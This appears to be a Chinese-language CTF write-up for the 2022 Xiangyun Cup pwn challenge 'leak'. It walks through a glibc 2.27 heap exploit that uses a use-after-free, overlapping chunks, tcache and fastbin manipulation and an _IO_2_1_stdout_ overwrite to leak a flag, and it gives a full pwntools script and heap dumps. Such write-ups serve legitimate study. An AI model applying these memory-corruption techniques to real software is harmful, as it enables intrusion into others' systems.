• [祥云杯 2022] pwn2 leak


    看了看雪的WP,第一次见这个东西,复现一下。

    libc-2.27-3Ubuntu1.6-amd64

    这个版本的libc禁用了3u1的直接double两次free的地址不能相同,并且_IO_2_1_stdout_头部也是清空的不能通过覆盖一个尾字节泄露地址,同时题目没有show。但是题目会把flag请入到堆中。

    如是我闻:

    1,通过建立重叠块利用unsort残留修改后指向_IO_2_1_stdout_将写入终地址(堆地址都是55XXX,写FF填充即中)

    2,释放块填满tcache,再释放放入fastbin,当tcache用完后使用fastbin时,如果tcache有空位会把fastbin剩余放入,并把fastbin第1块指针位置处bk写入堆起始地址

    题目很容易看,有add,edit,free其中free有UAF

    1. void m3free()
    2. {
    3. unsigned __int64 n; // [rsp+8h] [rbp-8h]
    4. write_s("Index: ");
    5. n = read_n();
    6. if ( n <= 0xF )
    7. {
    8. if ( qword_2143A0[n] )
    9. free((void *)qword_2143A0[n]);
    10. }
    11. }

    先布局个堆

    1. add(0, 0x30)
    2. add(1, 0x500)
    3. add(3, 0x30)
    4. add(4, 0x10)
    5. add(5, 0x10)
    6. add(11, 0x40)

    先设置个重叠块2在0和1块的中间,可以覆盖到1的头部,通过修改1在大小反复释放得到相应的bin

    1. #make a overlap on 0.5 建一个块与1重叠,以后通过它修改1的头和fd
    2. edit(1, flat(0,0,0,0x4f1,0,0x4e1))
    3. edit(0, flat(0,0,0,0x41))
    4. free(0)
    5. free(3)
    6. edit(3, p8(0xc0))
    7. add(12, 0x30)
    8. add(2, 0x30) # 2= 0.5 overlap chunk1.head

    bins的准备:

    1,先放一个50的块到tcache,将来这个位置释放成unsort后,指针指向main_arena修改到_IO_2_1_stdout_ 用这个tcache块建块到_stdout_

    1. #将0x50放入tcache
    2. edit(2, flat(0,0,0,0x51))
    3. free(1) # 1 size 0x50 tcache

    2,释放0x20的块填满tcache然后释放一块到fastbin

    1. #先将0x20的tcache填满,再释放1个到fastbin
    2. edit(2, flat(0,0,0,0x21,0,0)) #fill tcache
    3. for i in [4,5,4,5,4,5,4]:
    4. free(i)
    5. edit(i, p64(0))
    6. free(1) #fastbin

    修改回510头,释放到到fd->main_arena

    1. #改为500释放得到main_arena指针
    2. edit(2, flat(0,0,0,0x511))
    3. free(1) #unsort fd->main_arena

    利用第1步准备的50块,在stdout_写入止地址(半字节爆破)

    1. #gdb.attach(p)
    2. #pause()
    3. #lh = int(input('lh'), 16)
    4. #将块改为50,修改fd后两字节(爆破半字节)将原指向main_arena的指针指向_IO_2_1_stdout_ x760
    5. lh = 0xc
    6. edit(2, flat(0,0,0,0x51)+p8(0x60)+p8(lh*16+7))
    7. add(13, 0x40)
    8. add(14, 0x40) # _IO_2_1_stdout_
    9. edit(14, flat(0xfbad1800,0,0,0,0,0x5fffffffffff)) #写入输出止地址

    修改指向_stdout+8 (以此为起点bk写入的位置是_IO_2_1_stdout_+0x20)建块用把tcache再建,会在指针指向处的bk位置写入堆地址。

    1. # fastbin reverse into tcache 2.27-3u1.6 利用bk指针写入到_IO_2_1_stdout_
    2. #将_IO_2_1_stdout_ 改为 +8,建第1个块用掉tcache,建第2个块使用fastbin,剩余部分会放入tcache,fastbin->next指针处写入heap地址
    3. #0x60 0 0,0x21,0,(heap)
    4. edit(2, flat(0,0,0,0x21)+ p8(0x68)+p8(lh*16+7))
    5. add(15, 0x10)
    6. add(6, 0x10)

    最后选菜单6退出,执行exit(0)会输出*(stdout_ + 0x20)到*(+0x28)两个地址间的数据(由于止址写入的是fff所以会非常多,只需要0x250后的一小块)

    1. p.sendlineafter(b"Your choice: ", b'6')
    2. p.recv(0x250)
    3. print(p.recv(0x100))
    4. p.interactive()

    完整的WP和当时的堆状态

    1. from pwn import *
    2. elf = ELF('./leak')
    3. libc_elf = ELF('/home/kali/glibc/2.27-3u1.6-amd64/libc-2.27.so')
    4. context(arch='amd64', log_level='debug')
    5. def add(idx, size):
    6. p.sendlineafter(b"Your choice: ", b'1')
    7. p.sendlineafter(b"Index: ", str(idx).encode())
    8. p.sendlineafter(b"Size: ", str(size).encode())
    9. def edit(idx, msg):
    10. p.sendlineafter(b"Your choice: ", b'2')
    11. p.sendlineafter(b"Index: ", str(idx).encode())
    12. p.sendafter(b"Content: ", msg)
    13. def free(idx):
    14. p.sendlineafter(b"Your choice: ", b'3')
    15. p.sendlineafter(b"Index: ", str(idx).encode())
    16. def pwn():
    17. global p
    18. p = process('./leak')
    19. #lh = int(input('lh:'), 16)
    20. add(0, 0x30)
    21. add(1, 0x500)
    22. add(3, 0x30)
    23. add(4, 0x10)
    24. add(5, 0x10)
    25. add(11, 0x40)
    26. #make a overlap on 0.5 建一个块与1重叠,以后通过它修改1的头和fd
    27. edit(1, flat(0,0,0,0x4f1,0,0x4e1))
    28. edit(0, flat(0,0,0,0x41))
    29. free(0)
    30. free(3)
    31. edit(3, p8(0xc0))
    32. add(12, 0x30)
    33. add(2, 0x30) # 2= 0.5 overlap chunk1.head
    34. #将0x50放入tcache
    35. edit(2, flat(0,0,0,0x51))
    36. free(1) # 1 size 0x50 tcache
    37. #先将0x20的tcache填满,再释放1个到fastbin
    38. edit(2, flat(0,0,0,0x21,0,0)) #fill tcache
    39. for i in [4,5,4,5,4,5,4]:
    40. free(i)
    41. edit(i, p64(0))
    42. free(1) #fastbin
    43. #改为500释放得到main_arena指针
    44. edit(2, flat(0,0,0,0x511))
    45. free(1) #unsort fd->main_arena
    46. #gdb.attach(p)
    47. #pause()
    48. #lh = int(input('lh'), 16)
    49. #将块改为50,修改fd后两字节(爆破半字节)将原指向main_arena的指针指向_IO_2_1_stdout_ x760
    50. lh = 0xc
    51. edit(2, flat(0,0,0,0x51)+p8(0x60)+p8(lh*16+7))
    52. add(13, 0x40)
    53. add(14, 0x40) # _IO_2_1_stdout_
    54. edit(14, flat(0xfbad1800,0,0,0,0,0x5fffffffffff)) #写入输出止地址
    55. # fastbin reverse into tcache 2.27-3u1.6 利用bk指针写入到_IO_2_1_stdout_
    56. #将_IO_2_1_stdout_ 改为 +8,建第1个块用掉tcache,建第2个块使用fastbin,剩余部分会放入tcache,fastbin->next指针处写入heap地址
    57. #0x60 0 0,0x21,0,(heap)
    58. edit(2, flat(0,0,0,0x21)+ p8(0x68)+p8(lh*16+7))
    59. add(15, 0x10)
    60. add(6, 0x10)
    61. p.sendlineafter(b"Your choice: ", b'6')
    62. p.recv(0x250)
    63. print(p.recv(0x100))
    64. p.interactive()
    65. while True:
    66. try:
    67. pwn()
    68. except:
    69. pass
    70. break
    71. '''
    72. gef➤ heap bins
    73. ─────────────────────────────────────── Tcachebins for arena 0x7fa6fa1ebc40 ───────────────────────────────────────
    74. Tcachebins[idx=0, size=0x20] count=7 ← Chunk(addr=0x7fa6fa1ec778, size=0x0, flags=)
    75. Tcachebins[idx=3, size=0x50] count=255 ← [Corrupted chunk at 0xfbad2084]
    76. ──────────────────────────────────────── Fastbins for arena 0x7fa6fa1ebc40 ────────────────────────────────────────
    77. Fastbins[idx=0, size=0x20] 0x00
    78. Fastbins[idx=1, size=0x30] 0x00
    79. Fastbins[idx=2, size=0x40] 0x00
    80. Fastbins[idx=3, size=0x50] 0x00
    81. Fastbins[idx=4, size=0x60] 0x00
    82. Fastbins[idx=5, size=0x70] 0x00
    83. Fastbins[idx=6, size=0x80] 0x00
    84. ──────────────────────────────────── Unsorted Bin for arena '*0x7fa6fa1ebc40' ────────────────────────────────────
    85. [+] unsorted_bins[0]: fw=0x558c5ff012d0, bk=0x558c5ff012d0
    86. → Chunk(addr=0x558c5ff012e0, size=0x20, flags=PREV_INUSE)
    87. [+] Found 1 chunks in unsorted bin.
    88. ───────────────────────────────────── Small Bins for arena '*0x7fa6fa1ebc40' ─────────────────────────────────────
    89. [+] Found 0 chunks in 0 small non-empty bins.
    90. ───────────────────────────────────── Large Bins for arena '*0x7fa6fa1ebc40' ─────────────────────────────────────
    91. [+] Found 0 chunks in 0 large non-empty bins.
    92. gef➤ x/8gx &_IO_2_1_stdout_
    93. 0x7fa6fa1ec760 <_IO_2_1_stdout_>: 0x00000000fbad1800 0x0000000000000000
    94. 0x7fa6fa1ec770 <_IO_2_1_stdout_+16>: 0x0000000000000000 0x0000000000000000
    95. 0x7fa6fa1ec780 <_IO_2_1_stdout_+32>: 0x0000558c5ff01010 0x00005fffffffffff
    96. 0x7fa6fa1ec790 <_IO_2_1_stdout_+48>: 0x0000000000000000 0x0000000000000000
    97. gef➤ heap chunks
    98. Chunk(addr=0x558c5ff01010, size=0x250, flags=PREV_INUSE)
    99. [0x0000558c5ff01010 07 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 ................]
    100. Chunk(addr=0x558c5ff01260, size=0x40, flags=PREV_INUSE)
    101. [0x0000558c5ff01260 66 6c 61 67 7b 54 65 73 74 2e 2e 2e 2e 2e 2e 2e flag{Test.......]
    102. Chunk(addr=0x558c5ff012a0, size=0x40, flags=PREV_INUSE)
    103. [0x0000558c5ff012a0 00 00 00 00 00 00 00 00 10 10 f0 5f 8c 55 00 00 ..........._.U..]
    104. Chunk(addr=0x558c5ff012e0, size=0x20, flags=PREV_INUSE)
    105. [0x0000558c5ff012e0 68 c7 1e fa a6 7f 00 00 00 00 00 00 00 00 00 00 h...............]
    106. '''

  • 相关阅读:
    40+ Node.js 常见面试问题 [2024]
    Linux常用命令
    golang 终端输入 运算符优先顺序
    单节点服务架构
    如何在Visual Studio Code中禁用Less文件保存时自动编译为CSS的功能
    使用QGIS转换矢量数据投影
    修炼k8s+flink+hdfs+dlink(六:学习namespace,service)
    分布式爬虫管理平台gerapy通过docker部署scrapyd来添加主机(四)
    CSS - 鼠标移入整行高亮显示,适用于会员套餐各参数对比页面(display: table,div 转表格形式)
    PostgreSQL技巧之ShareLock死锁处理
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/127634535